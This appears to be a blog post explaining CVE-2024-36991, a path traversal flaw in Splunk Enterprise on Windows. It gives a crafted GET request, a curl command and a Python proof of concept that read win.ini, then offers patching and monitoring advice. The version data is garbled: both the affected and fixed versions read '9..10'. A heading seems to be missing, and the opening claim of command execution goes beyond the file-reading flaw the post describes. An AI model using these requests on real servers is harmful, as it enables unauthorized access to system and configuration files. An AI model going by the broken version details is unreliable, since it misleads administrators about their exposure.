Splunk is one of the most popular platforms for searching, monitoring, and analyzing machine-generated big data. If you’re running Splunk Enterprise on Windows, there’s a major vulnerability you should know about: CVE-2024-36991. This critical flaw allows attackers to perform a path traversal attack, potentially letting them access sensitive files or execute commands on your Splunk server. This post provides a simple, practical breakdown of the vulnerability, along with a code example and links for further reading.

What Is CVE-2024-36991?

CVE-2024-36991 is a path traversal bug affecting only Splunk Enterprise on Windows, specific to versions below:

9..10

The bug exists in the /modules/messaging/ endpoint. On affected systems, an attacker can manipulate URL parameters to escape from intended directories and access core system files.

Who Is at Risk?

If you run Splunk Enterprise on Windows and have not updated past the versions above, your server is vulnerable.
*Splunk Enterprise on Linux, macOS, and other platforms are not affected.*

How the Path Traversal Works

Path traversal attacks trick an application into accessing files or directories outside of its intended scope. Normally, web applications should prevent users from requesting files like ../../windows/system.ini that are outside the application's directory.

In the case of Splunk Enterprise, the /modules/messaging/ endpoint does not properly sanitize incoming path parameters on Windows. This allows attackers to supply a value such as ..\\..\\windows\\win.ini in a request, which can make Splunk serve up sensitive files from the underlying Windows OS.

Exploit Example

Here’s how an attacker could exploit this in the real world.

Let's say your Splunk server runs at https://splunk-win.example.com. The attacker could send a crafted GET request to the vulnerable endpoint:

GET /modules/messaging/../../../windows/win.ini HTTP/1.1
Host: splunk-win.example.com

Or, using cURL

curl "https://splunk-win.example.com/modules/messaging/../../../../windows/win.ini"

Here's a simple proof-of-concept that tries to fetch the win.ini file

import requests

url = 'https://splunk-win.example.com/modules/messaging/../../../../windows/win.ini'
response = requests.get(url, verify=False)  # Don't verify SSL (for demo)
print(response.text)

*Running this on an unpatched Splunk Enterprise on Windows returns the contents of C:\Windows\win.ini, a classic test for path traversal.*

Gather credentials or config: Attackers might find configuration files, tokens, or keys.

- Pivot to further exploits: Reading certain files may reveal more vulnerabilities or ways to escalate privileges.

From a blue team perspective, this means even read-only access could let someone map out your Splunk and OS configuration.

How to Fix CVE-2024-36991

Patch your Splunk Enterprise installation!

9..10

*This vulnerability does not affect users of Splunk Cloud or Splunk Enterprise on Linux.*

Official References

- Splunk Security Advisory for CVE-2024-36991
- CVE Details for CVE-2024-36991

Always download updates directly from the Splunk official site.

Restrict network access: Only allow trusted hosts to connect to your Splunk server.

- Web Application Firewall (WAF): Block requests with suspicious path patterns like ../ or encoded equivalents.
- Monitor logs: Look for unusual requests to /modules/messaging/.

Conclusion

CVE-2024-36991 is a clear example of how a small oversight in web path handling can lead to a critical vulnerability in widely used enterprise software. If you run Splunk Enterprise on Windows, prioritize this patch to safeguard your data and systems.
Always stay updated, monitor advisories, and restrict access where possible!


*For more details and continuous updates, follow the Splunk Advisories Page. If you have questions about this post or want a deeper explanation, leave a comment below.*

Timeline

Published on: 07/01/2024 17:15:07 UTC
Last modified on: 07/22/2024 15:00:45 UTC